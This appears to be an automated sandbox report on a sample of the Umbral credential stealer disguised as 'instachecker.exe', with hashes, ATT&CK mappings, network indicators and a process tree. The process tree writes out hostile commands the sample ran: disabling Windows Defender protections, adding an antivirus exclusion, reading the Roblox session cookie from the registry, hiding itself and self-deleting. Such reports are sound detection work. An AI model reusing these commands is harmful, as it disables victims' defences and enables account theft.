umbral | 964a54a737831c42dbd01e9dad0032ee2431cd67d3b2876efa10dd7362385388

Analysis

max time kernel
96s
max time network
99s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03-12-2024 21:02

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General

Target

Insta-Checker/Data/Modules/instachecker.exe
Size

231KB
MD5

cec40612e64e3c8df04870610dafe7aa
SHA1

3a0fbfebe571c665e547bda8ec018817c2ae1094
SHA256

626257599554ffaf796d03057041b46b1b3ce07962be11f0c6c6bce82ef7ba43
SHA512

7d473ef2e6bedd05bd12550b925320f4cf0ee91f4b66b457dc34befa427c28bfbe0b81cdd0b5d5fd3b6434757a81016ca1d32ac00088accc6fc27cba9bf0c7b8
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4dmIB1DA0rMSjVg8Zafb8e1mDkei:DoZtL+EP8dmIB1DA0rMSjVg8ZszT

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3112-1-0x00000252A9110000-0x00000252A9150000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3640	powershell.exe
1108	powershell.exe
4088	powershell.exe
2372	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	instachecker.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4808	cmd.exe
2732	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2744	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2732	PING.EXE

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2608	wmic.exe
2608	wmic.exe
2608	wmic.exe
2608	wmic.exe
3112	instachecker.exe
2372	powershell.exe
2372	powershell.exe
3640	powershell.exe
3640	powershell.exe
1108	powershell.exe
1108	powershell.exe
3844	powershell.exe
3844	powershell.exe
1936	wmic.exe
1936	wmic.exe
1936	wmic.exe
1936	wmic.exe
3996	wmic.exe
3996	wmic.exe
3996	wmic.exe
3996	wmic.exe
876	wmic.exe
876	wmic.exe
876	wmic.exe
876	wmic.exe
4088	powershell.exe
4088	powershell.exe
2744	wmic.exe
2744	wmic.exe
2744	wmic.exe
2744	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3112	instachecker.exe
Token: SeIncreaseQuotaPrivilege	2608	wmic.exe
Token: SeSecurityPrivilege	2608	wmic.exe
Token: SeTakeOwnershipPrivilege	2608	wmic.exe
Token: SeLoadDriverPrivilege	2608	wmic.exe
Token: SeSystemProfilePrivilege	2608	wmic.exe
Token: SeSystemtimePrivilege	2608	wmic.exe
Token: SeProfSingleProcessPrivilege	2608	wmic.exe
Token: SeIncBasePriorityPrivilege	2608	wmic.exe
Token: SeCreatePagefilePrivilege	2608	wmic.exe
Token: SeBackupPrivilege	2608	wmic.exe
Token: SeRestorePrivilege	2608	wmic.exe
Token: SeShutdownPrivilege	2608	wmic.exe
Token: SeDebugPrivilege	2608	wmic.exe
Token: SeSystemEnvironmentPrivilege	2608	wmic.exe
Token: SeRemoteShutdownPrivilege	2608	wmic.exe
Token: SeUndockPrivilege	2608	wmic.exe
Token: SeManageVolumePrivilege	2608	wmic.exe
Token: 33	2608	wmic.exe
Token: 34	2608	wmic.exe
Token: 35	2608	wmic.exe
Token: 36	2608	wmic.exe
Token: SeIncreaseQuotaPrivilege	2608	wmic.exe
Token: SeSecurityPrivilege	2608	wmic.exe
Token: SeTakeOwnershipPrivilege	2608	wmic.exe
Token: SeLoadDriverPrivilege	2608	wmic.exe
Token: SeSystemProfilePrivilege	2608	wmic.exe
Token: SeSystemtimePrivilege	2608	wmic.exe
Token: SeProfSingleProcessPrivilege	2608	wmic.exe
Token: SeIncBasePriorityPrivilege	2608	wmic.exe
Token: SeCreatePagefilePrivilege	2608	wmic.exe
Token: SeBackupPrivilege	2608	wmic.exe
Token: SeRestorePrivilege	2608	wmic.exe
Token: SeShutdownPrivilege	2608	wmic.exe
Token: SeDebugPrivilege	2608	wmic.exe
Token: SeSystemEnvironmentPrivilege	2608	wmic.exe
Token: SeRemoteShutdownPrivilege	2608	wmic.exe
Token: SeUndockPrivilege	2608	wmic.exe
Token: SeManageVolumePrivilege	2608	wmic.exe
Token: 33	2608	wmic.exe
Token: 34	2608	wmic.exe
Token: 35	2608	wmic.exe
Token: 36	2608	wmic.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeIncreaseQuotaPrivilege	2372	powershell.exe
Token: SeSecurityPrivilege	2372	powershell.exe
Token: SeTakeOwnershipPrivilege	2372	powershell.exe
Token: SeLoadDriverPrivilege	2372	powershell.exe
Token: SeSystemProfilePrivilege	2372	powershell.exe
Token: SeSystemtimePrivilege	2372	powershell.exe
Token: SeProfSingleProcessPrivilege	2372	powershell.exe
Token: SeIncBasePriorityPrivilege	2372	powershell.exe
Token: SeCreatePagefilePrivilege	2372	powershell.exe
Token: SeBackupPrivilege	2372	powershell.exe
Token: SeRestorePrivilege	2372	powershell.exe
Token: SeShutdownPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeSystemEnvironmentPrivilege	2372	powershell.exe
Token: SeRemoteShutdownPrivilege	2372	powershell.exe
Token: SeUndockPrivilege	2372	powershell.exe
Token: SeManageVolumePrivilege	2372	powershell.exe
Token: 33	2372	powershell.exe
Token: 34	2372	powershell.exe
Token: 35	2372	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 2608	3112	instachecker.exe	80
PID 3112 wrote to memory of 2608	3112	instachecker.exe	80
PID 3112 wrote to memory of 4296	3112	instachecker.exe	83
PID 3112 wrote to memory of 4296	3112	instachecker.exe	83
PID 3112 wrote to memory of 2372	3112	instachecker.exe	85
PID 3112 wrote to memory of 2372	3112	instachecker.exe	85
PID 3112 wrote to memory of 3640	3112	instachecker.exe	88
PID 3112 wrote to memory of 3640	3112	instachecker.exe	88
PID 3112 wrote to memory of 1108	3112	instachecker.exe	90
PID 3112 wrote to memory of 1108	3112	instachecker.exe	90
PID 3112 wrote to memory of 3844	3112	instachecker.exe	92
PID 3112 wrote to memory of 3844	3112	instachecker.exe	92
PID 3112 wrote to memory of 1936	3112	instachecker.exe	94
PID 3112 wrote to memory of 1936	3112	instachecker.exe	94
PID 3112 wrote to memory of 3996	3112	instachecker.exe	96
PID 3112 wrote to memory of 3996	3112	instachecker.exe	96
PID 3112 wrote to memory of 876	3112	instachecker.exe	98
PID 3112 wrote to memory of 876	3112	instachecker.exe	98
PID 3112 wrote to memory of 4088	3112	instachecker.exe	100
PID 3112 wrote to memory of 4088	3112	instachecker.exe	100
PID 3112 wrote to memory of 2744	3112	instachecker.exe	102
PID 3112 wrote to memory of 2744	3112	instachecker.exe	102
PID 3112 wrote to memory of 4808	3112	instachecker.exe	107
PID 3112 wrote to memory of 4808	3112	instachecker.exe	107
PID 4808 wrote to memory of 2732	4808	cmd.exe	109
PID 4808 wrote to memory of 2732	4808	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4296	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Insta-Checker\Data\Modules\instachecker.exe
"C:\Users\Admin\AppData\Local\Temp\Insta-Checker\Data\Modules\instachecker.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Insta-Checker\Data\Modules\instachecker.exe"
  2⤵
  - Views/modifies file attributes
  PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Insta-Checker\Data\Modules\instachecker.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1936
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4088
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:2744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Insta-Checker\Data\Modules\instachecker.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6a807b1c91ac66f33f88a787d64904c1

SHA1
83c554c7de04a8115c9005709e5cd01fca82c5d3

SHA256
155314c1c86d8d4e5b802f1eef603c5dd4a2f7c949f069a38af5ba4959bd8256

SHA512
29f2d9f30fc081e7fe6e9fb772c810c9be0422afdc6aff5a286f49a990ededebcf0d083798c2d9f41ad8434393c6d0f5fa6df31226d9c3511ba2a41eb4a65200

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
eb8a624c30b67c84f1fd927a09828437

SHA1
e4396a2ed3f7ebcd08dbd48d53e63b6ebbb0107e

SHA256
1e22ca2502416c09e65978b6bff91bdb74626bc478a7a583d8c41a1e8f79ac98

SHA512
08b12b0cad9b14663341f11f9e0790339e8fb133f70f6c26218aa230172c49bb54a7a1c7f20b15a017a103e0f9f7af83184e2ba58b2e4b4077aa2f3949181b60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
494de073067224860ddfa87f20c1fcd5

SHA1
139fe0d6cc741fdbb891b5e0df6e236fcdfdd7de

SHA256
5b67e54cbb8566db2c781ed86c2e026bef8e1c6e5b454c42872ffba7782a9579

SHA512
2457bb775ad7ce2b62b35f5cddfab1c1e1b16dcba83e38e7b5fb2e205048ffc5d220a29a9b0cfe218800d46fc3888480a0822877cf392aeadcf9287b784a390a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
86ece921e793c3a4cbe8335379f84b97

SHA1
7ff6a4b36fb28ec78738484126ba9fac2afb30ba

SHA256
2eaedfd1cafabcc02ff20b68b14468dd8cf19635559aea53a0e6a0908b71e87b

SHA512
a5bdacb9e371474a4913ea0d8d58abed57a4b12aea0fab4a69e08ec92db2f18d52e3556121639f264fe1eef7528d061f3f6235dbd7c89d66785cdf3acdc5d3bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zom1ar05.uch.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2372-4-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/2372-5-0x0000022C72B90000-0x0000022C72BB2000-memory.dmp

Filesize
136KB

Download
memory/2372-15-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/2372-18-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/2372-3-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/3112-33-0x00000252C38F0000-0x00000252C3940000-memory.dmp

Filesize
320KB

Download
memory/3112-32-0x00000252C3870000-0x00000252C38E6000-memory.dmp

Filesize
472KB

Download
memory/3112-34-0x00000252AAEB0000-0x00000252AAECE000-memory.dmp

Filesize
120KB

Download
memory/3112-1-0x00000252A9110000-0x00000252A9150000-memory.dmp

Filesize
256KB

Download
memory/3112-0-0x00007FFBD4353000-0x00007FFBD4355000-memory.dmp

Filesize
8KB

Download
memory/3112-59-0x00000252C3830000-0x00000252C383A000-memory.dmp

Filesize
40KB

Download
memory/3112-60-0x00000252C3A40000-0x00000252C3A52000-memory.dmp

Filesize
72KB

Download
memory/3112-2-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/3112-76-0x00007FFBD4353000-0x00007FFBD4355000-memory.dmp

Filesize
8KB

Download
memory/3112-77-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download
memory/3112-82-0x00000252C3AD0000-0x00000252C3C77000-memory.dmp

Filesize
1.7MB

Download
memory/3112-83-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

Filesize
10.8MB

Download